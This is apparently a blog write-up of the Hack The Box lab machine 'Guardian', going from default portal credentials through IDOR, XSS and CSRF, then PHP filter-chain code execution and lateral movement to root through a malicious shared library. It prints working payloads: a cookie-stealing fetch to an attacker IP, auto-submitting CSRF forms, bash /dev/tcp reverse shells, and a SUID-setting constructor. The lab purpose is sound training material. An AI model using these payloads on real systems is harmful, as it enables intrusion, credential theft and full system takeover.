Skip to main content
HTB: Guardian
  1. Posts/

HTB: Guardian

Table of Contents

Introduction
#

Guardian starts with university website and student portal. The exploit chain starts with default credentials for a university portal, leading to initial user access. A critical Broken Access Control flaw in the portal’s chat allowed the retrieval of Gitea credentials, granting access to the application’s source code. Code analysis enabled privilege escalation within the web application, ending with administrator access and a low-level shell on the host. Hard-coded credentials for the MySQL database in the config files were leveraged for SSH access. Lateral movement was achieved by manipulating a writable Python script executed by another user. And root access by abusing vulnerability in an executable granting a root shell with the SUID effective UID.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.237.248
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEtPLvoTptmr4MsrtI0K/4A73jlDROsZk5pUpkv1rb2VUfEDKmiArBppPYZhUo+Fopcqr4j90edXV+4Usda76kI=
|   256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHTkehIuVT04tJc00jcFVYdmQYDY3RuiImpFenWc9Yi6
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Found guardian.htb - add it to /etc/hosts

Web - TCP 80
#

The website is university welcome page:

Web

There is a contact form at the bottom:

Web2

And on the top there is link to Student Portal leading to portal.guardian.htb - add that to /etc/hosts and check it:

Web3

At the top a pop-up suggests to check a Portal Guide:

Guide

There is a default password - GU1234 - on new accounts. Now I need to find some usernames and hope they did not login yet or did not change the password.

Luckily, in the Testimonials section of the home page there are three students with their usernames/student IDs.

Testimonials

With this I can try them all with the default password.

It fails on Jamesy and Stepenie but I get in as Boone (GU0142023):

student_login
student_login2

While looking around I noticed weird URL in the Chats section:

chats

http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

It looks like the chat.php takes two parameters, both being IDs of registered users.

Maybe I could try different IDs to get access to other user’s chats - IDOR.

I intercepted the request:

chat_request

Send it to Intruder and found interesting chat between jamil.enockson and admin:

priv_chat

This should be password for gitea - DHsNnk3V503

Subdomain
#

the gitea subdomain should exist based on the chat, look for it and maybe more:

└─$ ffuf -w ~/Tools/directory-list-custom.txt:FUZZ -u http://guardian.htb/ -H 'Host: FUZZ.guardian.htb' -fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://guardian.htb/
 :: Wordlist         : FUZZ: /home/kali/Tools/directory-list-custom.txt
 :: Header           : Host: FUZZ.guardian.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

gitea                   [Status: 200, Size: 13498, Words: 1049, Lines: 245, Duration: 45ms]
portal                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 23ms]
Portal                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
PORTAL                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 56ms]
:: Progress: [220562/220562] :: Job [1/1] :: 307 req/sec :: Duration: [0:04:18] :: Errors: 0 ::

I get only the portal and gitea.

gitea
#

Add gitea.guardian.htb to /etc/hosts and let’s take a look.

I logged in with jamil.enockson@guardian.htb - DHsNnk3V503:

gitea

In there there are some files I should keep:

config

/config/config.php

<?php
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
        'options' => []
    ],
    'salt' => '8Sb)tM1vs1SS'
];
csrf

/config/csrf-tokens.php

<?php
$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool()
{
    global $global_tokens_file;
    return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];
}
function add_token_to_pool($token)
{
    global $global_tokens_file;
    $tokens = get_token_pool();
    $tokens[] = $token;
    file_put_contents($global_tokens_file, json_encode($tokens));
}
function is_valid_token($token)
{
    $tokens = get_token_pool();
    return in_array($token, $tokens);
}
db

/config/db.php

<?php
$config = require __DIR__ . '/config.php';

try {
    $pdo = new PDO(
        $config['db']['dsn'],
        $config['db']['username'],
        $config['db']['password'],
        $config['db']['options']
    );
} catch (PDOException $e) {
    die('<h2>Database connection failed </h2> <h3> ' . $e->getMessage() . '</h3>');
}

While maybe useful later, now I need something else.

Lecturer Session
#

And that something else was hidden in the dependencies - composer.json

dependencies
{
    "require": {
        "phpoffice/phpspreadsheet": "3.7.0",
        "phpoffice/phpword": "^1.3"
    }
}

Searching for vulnerabilities in phpspreadsheet 3.7.0 revealed several XSS issues connected to .xlsx file generation, for example THIS

{{ alert }} When generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code. {{/ alert }}

And there is a place where I can upload .xlsx file - the Assignments section:

xlsx

Using the PoC method mentioned in the advisory, I created an excel file Excel.xlsx:

xlsx2

With a payload as a sheet name in an attempt to steal an admin cookie:

<img src=x onerror=fetch('http://10.10.14.236:8082/?c='+btoa(document.cookie))>
xlsx_upload

After upload, I received a hit on my server with a cookie:

└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.129.237.248 - - [26/Feb/2026 03:18:24] "GET /?c=UEhQU0VTU0lEPTgyNDhjbTBmdWRzYTI0Mmd0bWx0dTAwYmJr HTTP/1.1" 200 -

└─$ echo 'UEhQU0VTU0lEPTgyNDhjbTBmdWRzYTI0Mmd0bWx0dTAwYmJr' | base64 -d
PHPSESSID=8248cm0fudsa242gtmltu00bbk

I changed the active cookie:

cookie

and after a reload I was sammy.treat, lecturer not an admin…

lecturer

I could look at this teacher’s courses, students and their assignments and more - a useful tool for any lazy student that wants to copy his peers work :) but not much for me.

Site Admin
#

Next step was in the Notice Board section:

notice

I can create a new notice with an option to include a reference link

notice2

Mainly - Reference Link (will be reviewed by admin) this could be another XSS vector, this time to admin.

I attempted simple session hijacking again:

session2
└─$ cat pwn.js                
document.location='http://10.10.14.236:8083/index.php?c='+document.cookie;

└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.129.237.248 - - [26/Feb/2026 03:53:26] "GET /pwn.js HTTP/1.1" 200 -
10.129.237.248 - - [26/Feb/2026 03:53:26] code 404, message File not found
10.129.237.248 - - [26/Feb/2026 03:53:26] "GET /favicon.ico HTTP/1.1" 404 -
└─$ cat index.php     
<?php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

└─$ php -S 0.0.0.0:8083
[Thu Feb 26 03:53:05 2026] PHP 8.2.24 Development Server (http://0.0.0.0:8083) started

But got nothing - This was most likely because the cookie has HttpOnly flag set, which prevents JavaScript from accessing document.cookie.

But the admin did “click” on the link. I just need to find another way in.

Back to the gitea and source code.

Looking at the /admin there are several functions:

admin_func

But the treasure was in createuser.php

<?php
require '../includes/auth.php';
require '../config/db.php';
require '../models/User.php';
require '../config/csrf-tokens.php';

$token = bin2hex(random_bytes(16));
add_token_to_pool($token);

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
    header('Location: /login.php');
    exit();
}

$config = require '../config/config.php';
$salt = $config['salt'];

$userModel = new User($pdo);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $csrf_token = $_POST['csrf_token'] ?? '';

    if (!is_valid_token($csrf_token)) {
        die("Invalid CSRF token!");
    }

    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    $full_name = $_POST['full_name'] ?? '';
    $email = $_POST['email'] ?? '';
    $dob = $_POST['dob'] ?? '';
    $address = $_POST['address'] ?? '';
    $user_role = $_POST['user_role'] ?? '';

    // Check for empty fields
    if (empty($username) || empty($password) || empty($full_name) || empty($email) || empty($dob) || empty($address) || empty($user_role)) {
        $error = "All fields are required. Please fill in all fields.";
    } else {
        $password = hash('sha256', $password . $salt);

        $data = [
            'username' => $username,
            'password_hash' => $password,
            'full_name' => $full_name,
            'email' => $email,
            'dob' => $dob,
            'address' => $address,
            'user_role' => $user_role
        ];

        if ($userModel->create($data)) {
            header('Location: /admin/users.php?created=true');
            exit();
        } else {
            $error = "Failed to create user. Please try again.";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">

...<SNIP>

</html>

The admin can create new user.

The admin will click on any link I sent him.

-> The admin will click on a link with filled in form to create new user

That is the plan. First, I need to find what I need to fill in:

fields

The dob is, I assume, date of birth. I can make up everything there.

Next, the hurdle, I will also need a csrf_token

fields

Back at the beginning I already saw csrf-tokens.php file:

<?php

$global_tokens_file = __DIR__ . '/tokens.json';

function get_token_pool()
{
    global $global_tokens_file;
    return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];
}

function add_token_to_pool($token)
{
    global $global_tokens_file;
    $tokens = get_token_pool();
    $tokens[] = $token;
    file_put_contents($global_tokens_file, json_encode($tokens));
}

function is_valid_token($token)
{
    $tokens = get_token_pool();
    return in_array($token, $tokens);
}

It looks like there is token pool where all the tokens are stored and are never cleared. If so, I just need to find any previously used csrf_token and it should work.

When creating the notice on my lecturer account, I am on http://portal.guardian.htb/lecturer/notices/create.php - check the source code for that:

csrf2

There is hidden form filed with a csrf_token:

csrf3

That is all I should need, now I can create auto-submitting form that I will send to admin:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
    <input type="hidden" name="username" value="0o176">
    <input type="hidden" name="password" value="Secret1@">
    <input type="hidden" name="full_name" value="0o176 Pwn">
    <input type="hidden" name="email" value="0o176@guardian.htb">
    <input type="hidden" name="dob" value="2025-01-01">
    <input type="hidden" name="address" value="123 Asd Qwe">
    <input type="hidden" name="user_role" value="admin">
    <input type="hidden" name="csrf_token" value="7f0cdc1431dec34476bebe1b23917f14">
</form>
<script>
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>
form

And I get hit on the http server - admin clicked on the link and the form should submit itself:

└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.129.237.248 - - [26/Feb/2026 05:04:04] "GET /pwn.html HTTP/1.1" 200 -

I can now log in with the new user 0o176:Secret1@ and should be admin:

admin

Once on admin I can continue with the same steps - explore the page and look for weird behavior and check the source code to move further.

Shell as www-data
#

This time the hint comes from the Reports section:

report

The URL contains file parameters: http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php

In the source code of /admin/reports.php:

<?php
require '../includes/auth.php';
require '../config/db.php';

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
    header('Location: /login.php');
    exit();
}

$report = $_GET['report'] ?? 'reports/academic.php';

if (strpos($report, '..') !== false) {
    die("<h2>Malicious request blocked 🚫 </h2>");
}   

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("<h2>Access denied. Invalid file 🚫</h2>");
}

?>

<!DOCTYPE html>
<html lang="en">

<SNIP>

</html>
  • If the path contains .. it will be blocked
  • Only enrollment | academic | financial | system .php is allowed

The bypass is simple, the regex only checks that the string ends with one of those filenames, but it does not validate what comes before it.

This means I can do something like:

php://filter/convert.iconv.../resource=system.php

The regex sees it ends with system.php, but PHP executes the filter chain which can generate arbitrary PHP code.

I can generate the chain using PHP filter chain generator

python3 ~/Tools/php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.<SNIP>
base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
chain

Now I can attempt it as:

http://portal.guardian.htb/admin/reports.php?report=<CHAIN>resource=php://temp/system.php&cmd=id

and it worked:

id

Now I can replace the id with a reverse shell.

Replace the cmd=id with cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.236/4444+0>%261' and catch the shell:

└─$ nc -lvnp 4444 
listening on [any] 4444 ...
connect to [10.10.14.236] from (UNKNOWN) [10.129.237.248] 42658
bash: cannot set terminal process group (1170): Inappropriate ioctl for device
bash: no job control in this shell
www-data@guardian:~/portal.guardian.htb/admin$ 

Shell as jamil
#

Now, I can check if the database I saw in the config is there:

www-data@guardian:~/portal.guardian.htb/admin$ ss -tuln
ss -tuln
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*          
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*          
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*          
tcp   LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*          
tcp   LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:3000       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*          
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*          
tcp   LISTEN 0      128             [::]:22            [::]:*  

It is and I can log in using credentials from the config file:

<?php
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
        'options' => []
    ],
    'salt' => '8Sb)tM1vs1SS'
];
www-data@guardian:~/portal.guardian.htb/admin$ mysql -u root -pGu4rd14n_un1_1s_th3_b3st -h 127.0.0.1
<sql -u root -pGu4rd14n_un1_1s_th3_b3st -h 127.0.0.1
mysql: [Warning] Using a password on the command line interface can be insecure.
use guardiandb;
select username,password_hash from users;
username        password_hash
admin           694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6
jamil.enockson  c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
mark.pargetter  8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e
valentijn.temby 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6
leyla.rippin    7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61
perkin.fillon   4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471
cyrus.booth     23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6
sammy.treat     c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2
crin.hambidge   9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75
myra.galsworthy ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4
mireielle.feek  18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3
vivie.smallthwaite      b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a
GU0142023       5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829
GU6262023       87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f
GU0702025       48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1
GU0762023       e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2
GU9492024       8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1
<SNIP>

The passwords are salted with 8Sb)tM1vs1SS - $password = hash('sha256', $password . $salt);

└─$ hashcat -m 1410 passwords.hash ~/Tools/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000

<SNIP>

So, I have credentials to:

  • admin:fakebake000
  • jamil.enockson:copperhouse56

There is jamil on the host:

www-data@guardian:~/portal.guardian.htb/admin$ ls /home
ls /home
gitea
jamil
mark
sammy

So, I can try to ssh in as him:

└─$ ssh jamil@10.129.237.248

<SNIP>

Last login: Thu Feb 26 12:25:16 2026 from 10.10.14.236
jamil@guardian:~$ ls
user.txt
jamil@guardian:~$ cat user.txt
e4ff85d68d3b33bd8699b1b613858546

Got the user flag.

Shell as mark
#

Next, check sudo -l as always:

jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

mark can run something:

jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py
#!/usr/bin/env python3

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status


def main():
    parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
    parser.add_argument("action", choices=[
        "backup-db",
        "zip-attachments",
        "collect-logs",
        "system-status"
    ], help="Action to perform")
    
    args = parser.parse_args()
    user = getpass.getuser()

    if args.action == "backup-db":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        db.backup_database()
    elif args.action == "zip-attachments":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        attachments.zip_attachments()
    elif args.action == "collect-logs":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        logs.collect_logs()
    elif args.action == "system-status":
        status.system_status()
    else:
        print("Unknown action.")

if __name__ == "__main__":
    main()

The scripts takes one parameter - a choice from backup-db, zip-attachments,collect-logs and system-status

If the user is not mark all but system-status will return Access denied..

When I run it with system-status it calls status.system_status() from utils.

Let’s locate the utils and check what is there.

jamil@guardian:~$ ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root   4096 Jul 10  2025 .
drwxr-sr-x 4 root admins 4096 Jul 10  2025 ..
-rw-r----- 1 root admins  287 Apr 19  2025 attachments.py
-rw-r----- 1 root admins  246 Jul 10  2025 db.py
-rw-r----- 1 root admins  226 Apr 19  2025 logs.py
-rwxrwx--- 1 mark admins  253 Apr 26  2025 status.py

Look at that, status.py is writable.

jamil@guardian:/opt/scripts/utilities/utils$ cat status.py 
import platform
import psutil
import os

def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")

I can write anything I want to it and execute it via the utilities.py

jamil@guardian:/opt/scripts/utilities/utils$ cat status.py 
import os

def system_status():
    os.system('bash -c "bash -i >& /dev/tcp/10.10.14.236/4444 0>&1"')

Execute it and get a shell on awaiting listener:

jamil@guardian:/opt/scripts/utilities/utils$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
└─$ nc -lvnp 4444      
listening on [any] 4444 ...
connect to [10.10.14.236] from (UNKNOWN) [10.129.237.248] 45476
mark@guardian:/opt/scripts/utilities/utils$ 

And I am Mark now.

Root
#

Mark can sudo as well:

mark@guardian:/opt/scripts/utilities/utils$ sudo -l

Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Its some binary:

mark@guardian:/$ file /usr/local/bin/safeapache2ctl

/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped

Transfer it to my machine and start up ghidra

mark@guardian:/$ cat /usr/local/bin/safeapache2ctl > /dev/tcp/10.10.14.236/5555

There is a function is_unsafe_line:

ghidra

It looks vulnerable to a path traversal bypass.

If the directive is Include, IncludeOptional, or LoadModule, it checks the path.

If the path starts with /, it calls starts_with(path, "/home/mark/confs/") to verify it’s inside the allowed directory.

starts_with check only verifies the path starts with /home/mark/confs/. So it does not resolve the real path. So:

/home/mark/confs/exploit.so        ✓ allowed
/home/mark/confs/../../../exploit  ✓ allowed

The plan
#

LoadModule exploit /home/mark/confs/exploit.so
  • Directive LoadModule -> goes into the check
  • Path is /home/mark/confs/exploit.so -> starts with /home/mark/confs/ -> passes
  • The function never checks what the .so file contains, only where it is
  • So it allows loading a malicious library from a directory I have write access to

The exploit
#

Compile a malicious .so into /home/mark/confs/

└─$ cat exploit.c 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init() {
    setuid(0);
    system("chmod +s /bin/bash");
}
mark@guardian:~$ wget http://10.10.14.236:8082/exploit.c
wget http://10.10.14.236:8082/exploit.c
--2026-02-26 14:06:44--  http://10.10.14.236:8082/exploit.c
Connecting to 10.10.14.236:8082... connected.
HTTP request sent, awaiting response... 200 OK
Length: 154 [text/x-csrc]
Saving to: ‘exploit.c’

     0K                                                       100% 13.5M=0s

2026-02-26 14:06:44 (13.5 MB/s) - ‘exploit.c’ saved [154/154]

mark@guardian:~$ gcc -shared -fPIC -o /home/mark/confs/exploit.so /home/mark/exploit.c
mark@guardian:~$ cat > /home/mark/confs/exploit.conf << 'EOF'
> LoadModule exploit /home/mark/confs/exploit.so
> EOF

safeapache2ctl runs as root via sudo, so it loaded .so as root

mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf
apache2: Syntax error on line 1 of /home/mark/confs/exploit.conf: Can't locate API module structure `exploit' in file /home/mark/confs/exploit.so: /home/mark/confs/exploit.so: undefined symbol: exploit
Action '-f /home/mark/confs/exploit.conf' failed.
The Apache error log may have more information.

It threw an error but still worked!

__attribute__((constructor)) function ran automatically on load, executing chmod +s /bin/bash as root

bash -p gave a root shell with the SUID effective UID

mark@guardian:~$ bash -p
bash -p
id
uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root) groups=0(root),1001(mark),1002(admins)
cat /root/root.txt
8e44bc94f0c4b208f099b386a333d545
Author
~